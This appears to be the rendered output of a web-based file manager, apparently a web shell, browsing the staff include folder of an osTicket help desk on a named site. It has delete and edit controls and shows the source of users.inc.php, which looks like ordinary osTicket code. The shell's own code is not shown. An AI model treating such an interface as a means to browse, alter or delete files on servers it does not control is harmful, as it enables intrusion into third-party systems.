golden hour
/home/doctorbruno/public_html/doctorbruno.info/taeionline/support/include/staff
⬆️ Go Up
Upload
File/Folder
Size
Actions
apikey.inc.php
4.69 KB
Del
OK
apikeys.inc.php
7.6 KB
Del
OK
banlist.inc.php
8.71 KB
Del
OK
banrule.inc.php
2.96 KB
Del
OK
cannedresponse.inc.php
6.09 KB
Del
OK
cannedresponses.inc.php
8.47 KB
Del
OK
categories.inc.php
7.03 KB
Del
OK
category.inc.php
6.51 KB
Del
OK
dashboard.inc.php
6.35 KB
Del
OK
department.inc.php
22.78 KB
Del
OK
departments.inc.php
10.42 KB
Del
OK
directory.inc.php
5.95 KB
Del
OK
dynamic-form.inc.php
15.2 KB
Del
OK
dynamic-forms.inc.php
5.26 KB
Del
OK
dynamic-list.inc.php
11.12 KB
Del
OK
dynamic-lists.inc.php
4.62 KB
Del
OK
email.inc.php
10.47 KB
Del
OK
emails.inc.php
7.03 KB
Del
OK
faq-categories.inc.php
7.13 KB
Del
OK
faq-category.inc.php
3.52 KB
Del
OK
faq-view.inc.php
3.52 KB
Del
OK
faq.inc.php
10.31 KB
Del
OK
filter.inc.php
18.98 KB
Del
OK
filters.inc.php
9.47 KB
Del
OK
footer.inc.php
3.87 KB
Del
OK
header.inc.php
6.02 KB
Del
OK
helptopic.inc.php
20.78 KB
Del
OK
helptopics.inc.php
9.93 KB
Del
OK
index.php
37 B
Del
OK
login.header.php
1.37 KB
Del
OK
login.tpl.php
6.76 KB
Del
OK
org-view.inc.php
4.45 KB
Del
OK
orgs.inc.php
8.57 KB
Del
OK
page.inc.php
7.87 KB
Del
OK
pages.inc.php
7.64 KB
Del
OK
plugin-add.inc.php
1.84 KB
Del
OK
plugin-instance.inc.php
1.31 KB
Del
OK
plugin.inc.php
4.67 KB
Del
OK
plugins.inc.php
5.81 KB
Del
OK
profile.inc.php
20.72 KB
Del
OK
pwreset.login.php
1.77 KB
Del
OK
pwreset.php
1.7 KB
Del
OK
pwreset.sent.php
1.59 KB
Del
OK
queue.inc.php
15.59 KB
Del
OK
queues-ticket.inc.php
4.56 KB
Del
OK
role.inc.php
4.91 KB
Del
OK
roles.inc.php
5.5 KB
Del
OK
schedule.inc.php
4.53 KB
Del
OK
schedules.inc.php
5.34 KB
Del
OK
settings-agents.inc.php
13.15 KB
Del
OK
settings-alerts.inc.php
10.68 KB
Del
OK
settings-autoresp.inc.php
2.48 KB
Del
OK
settings-emails.inc.php
9.88 KB
Del
OK
settings-kb.inc.php
2.18 KB
Del
OK
settings-pages.inc.php
15.32 KB
Del
OK
settings-system.inc.php
22.99 KB
Del
OK
settings-tasks.inc.php
14.99 KB
Del
OK
settings-tickets.inc.php
13.7 KB
Del
OK
settings-users.inc.php
9.36 KB
Del
OK
slaplan.inc.php
5.96 KB
Del
OK
slaplans.inc.php
7.99 KB
Del
OK
staff.inc.php
21.42 KB
Del
OK
staffmembers.inc.php
12.63 KB
Del
OK
syslogs.inc.php
8.58 KB
Del
OK
system.inc.php
7.82 KB
Del
OK
task-view.inc.php
93 B
Del
OK
tasks.inc.php
17.99 KB
Del
OK
team.inc.php
8.76 KB
Del
OK
teams.inc.php
8.14 KB
Del
OK
template.inc.php
7.21 KB
Del
OK
templates
-
Del
OK
templates.inc.php
8.25 KB
Del
OK
ticket-edit.inc.php
8.62 KB
Del
OK
ticket-open.inc.php
23.7 KB
Del
OK
ticket-relations.inc.php
1.27 KB
Del
OK
ticket-tasks.inc.php
7.32 KB
Del
OK
ticket-view.inc.php
70.54 KB
Del
OK
tickets.inc.php
25.45 KB
Del
OK
tpl.inc.php
5.77 KB
Del
OK
user-view.inc.php
9.22 KB
Del
OK
users.inc.php
12.88 KB
Del
OK
Edit: users.inc.php
<?php if(!defined('OSTSCPINC') || !$thisstaff) die('Access Denied'); // Ensure cdata UserForm::ensureDynamicDataView(); $qs = array(); $users = User::objects() ->annotate(array('ticket_count'=>SqlAggregate::COUNT('tickets'))); if ($_REQUEST['query']) { $search = $_REQUEST['query']; $filter = Q::any(array( 'emails__address__contains' => $search, 'name__contains' => $search, 'org__name__contains' => $search, )); if (UserForm::getInstance()->getField('phone')) $filter->add(array('cdata__phone__contains' => $search)); $users->filter($filter); $qs += array('query' => $_REQUEST['query']); } $sortOptions = array('name' => 'name', 'email' => 'emails__address', 'status' => 'account__status', 'create' => 'created', 'update' => 'updated'); $orderWays = array('DESC'=>'-','ASC'=>''); $sort= ($_REQUEST['sort'] && $sortOptions[strtolower($_REQUEST['sort'])]) ? strtolower($_REQUEST['sort']) : 'name'; //Sorting options... if ($sort && $sortOptions[$sort]) $order_column =$sortOptions[$sort]; $order_column = $order_column ?: 'name'; if ($_REQUEST['order'] && $orderWays[strtoupper($_REQUEST['order'])]) $order = $orderWays[strtoupper($_REQUEST['order'])]; if ($order_column && strpos($order_column,',')) $order_column = str_replace(','," $order,",$order_column); $x=$sort.'_sort'; $$x=' class="'.($order == '' ? 'asc' : 'desc').'" '; $total = $users->count(); $page=($_GET['p'] && is_numeric($_GET['p']))?$_GET['p']:1; $pageNav=new Pagenate($total,$page,PAGE_LIMIT); $pageNav->paginate($users); $qstr = '&'. Http::build_query($qs); $qs += array('sort' => $_REQUEST['sort'], 'order' => $_REQUEST['order']); $pageNav->setURL('users.php', $qs); $qstr.='&order='.($order=='-' ? 'ASC' : 'DESC'); //echo $query; $_SESSION[':Q:users'] = $users; $users->values('id', 'name', 'default_email__address', 'account__id', 'account__status', 'created', 'updated'); $users->order_by($order . $order_column); ?> <div id="basic_search"> <div style="min-height:25px;"> <form action="users.php" method="get"> <?php csrf_token(); ?> <input type="hidden" name="a" value="search"> <div class="attached input"> <input type="text" class="basic-search" id="basic-user-search" name="query" size="30" value="<?php echo Format::htmlchars($_REQUEST['query']); ?>" autocomplete="off" autocorrect="off" autocapitalize="off"> <!-- <td> <a href="" id="advanced-user-search">[advanced]</a></td> --> <button type="submit" class="attached button"><i class="icon-search"></i> </button> </div> </form> </div> </div> <form id="users-list" action="users.php" method="POST" name="staff" > <div style="margin-bottom:20px; padding-top:5px;"> <div class="sticky bar opaque"> <div class="content"> <div class="pull-left flush-left"> <h2><?php echo __('User Directory'); ?></h2> </div> <div class="pull-right"> <?php if ($thisstaff->hasPerm(User::PERM_CREATE)) { ?> <a class="green button action-button popup-dialog" href="#users/add"> <i class="icon-plus-sign"></i> <?php echo __('Add User'); ?> </a> <a class="action-button popup-dialog" href="#users/import"> <i class="icon-upload"></i> <?php echo __('Import'); ?> </a> <?php } ?> <span class="action-button" data-dropdown="#action-dropdown-more" style="/*DELME*/ vertical-align:top; margin-bottom:0"> <i class="icon-caret-down pull-right"></i> <span ><i class="icon-cog"></i> <?php echo __('More');?></span> </span> <div id="action-dropdown-more" class="action-dropdown anchor-right"> <ul> <?php if ($thisstaff->hasPerm(User::PERM_EDIT)) { ?> <li><a href="#add-to-org" class="users-action"> <i class="icon-group icon-fixed-width"></i> <?php echo __('Add to Organization'); ?></a></li> <?php } if ('disabled' != $cfg->getClientRegistrationMode()) { ?> <li><a class="users-action" href="#reset"> <i class="icon-envelope icon-fixed-width"></i> <?php echo __('Send Password Reset Email'); ?></a></li> <?php if ($thisstaff->hasPerm(User::PERM_MANAGE)) { ?> <li><a class="users-action" href="#register"> <i class="icon-smile icon-fixed-width"></i> <?php echo __('Register'); ?></a></li> <li><a class="users-action" href="#lock"> <i class="icon-lock icon-fixed-width"></i> <?php echo __('Lock'); ?></a></li> <li><a class="users-action" href="#unlock"> <i class="icon-unlock icon-fixed-width"></i> <?php echo __('Unlock'); ?></a></li> <?php } } # end of registration-enabled if ($thisstaff->hasPerm(User::PERM_DELETE)) { ?> <li class="danger"><a class="users-action" href="#delete"> <i class="icon-trash icon-fixed-width"></i> <?php echo __('Delete'); ?></a></li> <?php } ?> </ul> </div> </div> </div> </div> </div> <div class="clear"></div> <?php $showing = $search ? __('Search Results').': ' : ''; if($users->exists(true)) $showing .= $pageNav->showing(); else $showing .= __('No users found!'); ?> <?php csrf_token(); ?> <input type="hidden" name="do" value="mass_process" > <input type="hidden" id="action" name="a" value="" > <input type="hidden" id="selected-count" name="count" value="" > <input type="hidden" id="org_id" name="org_id" value="" > <table class="list" border="0" cellspacing="1" cellpadding="0" width="940"> <thead> <tr> <th nowrap width="4%"> </th> <th><a <?php echo $name_sort; ?> href="users.php?<?php echo $qstr; ?>&sort=name"><?php echo __('Name'); ?></a></th> <th width="22%"><a <?php echo $status_sort; ?> href="users.php?<?php echo $qstr; ?>&sort=status"><?php echo __('Status'); ?></a></th> <th width="20%"><a <?php echo $create_sort; ?> href="users.php?<?php echo $qstr; ?>&sort=create"><?php echo __('Created'); ?></a></th> <th width="20%"><a <?php echo $update_sort; ?> href="users.php?<?php echo $qstr; ?>&sort=update"><?php echo __('Updated'); ?></a></th> </tr> </thead> <tbody> <?php $ids=($errors && is_array($_POST['ids']))?$_POST['ids']:null; foreach ($users as $U) { // Default to email address mailbox if no name specified if (!$U['name']) list($name) = explode('@', $U['default_email__address']); else $name = new UsersName($U['name']); // Account status if ($U['account__id']) $status = new UserAccountStatus($U['account__status']); else $status = __('Guest'); $sel=false; if($ids && in_array($U['id'], $ids)) $sel=true; ?> <tr id="<?php echo $U['id']; ?>"> <td nowrap align="center"> <input type="checkbox" value="<?php echo $U['id']; ?>" class="ckb mass nowarn"/> </td> <td> <a class="preview" href="users.php?id=<?php echo $U['id']; ?>" data-preview="#users/<?php echo $U['id']; ?>/preview"><?php echo Format::htmlchars($name); ?></a> <?php if ($U['ticket_count']) echo sprintf('<i class="icon-fixed-width icon-file-text-alt"></i> <small>(%d)</small>', $U['ticket_count']); ?> </td> <td><?php echo $status; ?></td> <td><?php echo Format::date($U['created']); ?></td> <td><?php echo Format::datetime($U['updated']); ?> </td> </tr> <?php } //end of foreach. ?> </tbody> <tfoot> <tr> <td colspan="7"> <?php if ($total) { ?> <?php echo __('Select');?>: <a id="selectAll" href="#ckb"><?php echo __('All');?></a> <a id="selectNone" href="#ckb"><?php echo __('None');?></a> <a id="selectToggle" href="#ckb"><?php echo __('Toggle');?></a> <?php }else{ echo '<i>'; echo __('Query returned 0 results.'); echo '</i>'; } ?> </td> </tr> </tfoot> </table> <?php if ($total) { echo '<div>'; echo '<span class="faded pull-right">'.$showing.'</span>'; echo sprintf(' '.__('Page').': %s <a class="no-pjax" href="users.php?a=export&qh=%s">'.__('Export').'</a></div>', $pageNav->getPageLinks(), $qhash); } ?> </form> <script type="text/javascript"> $(function() { $('input#basic-user-search').typeahead({ source: function (typeahead, query) { $.ajax({ url: "ajax.php/users/local?q="+query, dataType: 'json', success: function (data) { typeahead.process(data); } }); }, onselect: function (obj) { window.location.href = 'users.php?id='+obj.id; }, property: "/bin/true" }); $(document).on('click', 'a.popup-dialog', function(e) { e.preventDefault(); $.userLookup('ajax.php/' + $(this).attr('href').substr(1), function (user) { var url = window.location.href; if (user && user.id) url = 'users.php?id='+user.id; $.pjax({url: url, container: '#pjax-container'}) return false; }); return false; }); var goBaby = function(action, confirmed) { var ids = [], $form = $('form#users-list'); $(':checkbox.mass:checked', $form).each(function() { ids.push($(this).val()); }); if (ids.length) { var submit = function(data) { $form.find('#action').val(action); $.each(ids, function() { $form.append($('<input type="hidden" name="ids[]">').val(this)); }); if (data) $.each(data, function() { $form.append($('<input type="hidden">').attr('name', this.name).val(this.value)); }); $form.find('#selected-count').val(ids.length); $form.submit(); }; var options = {}; if (action === 'delete') { options['deletetickets'] = __('Also delete all associated tickets and attachments'); } else if (action === 'add-to-org') { $.dialog('ajax.php/orgs/lookup/form', 201, function(xhr, json) { var $form = $('form#users-list'); try { if ($.type(json) == 'string') var json = $.parseJSON(json); var org_id = $form.find('#org_id'); if (json.id) { org_id.val(json.id); goBaby('setorg', true); } } catch (e) { } }); return; } if (!confirmed) $.confirm(__('You sure?'), undefined, options).then(function(data) { if (data === false) return false; submit(data); }); else submit(); } else { $.sysAlert(__('Oops'), __('You need to select at least one item')); } }; $(document).on('click', 'a.users-action', function(e) { e.preventDefault(); goBaby($(this).attr('href').substr(1)); return false; }); // Remove CSRF Token From GET Request document.querySelector("form[action='users.php']").onsubmit = function() { document.getElementsByName("__CSRFToken__")[0].remove(); }; }); </script>
Save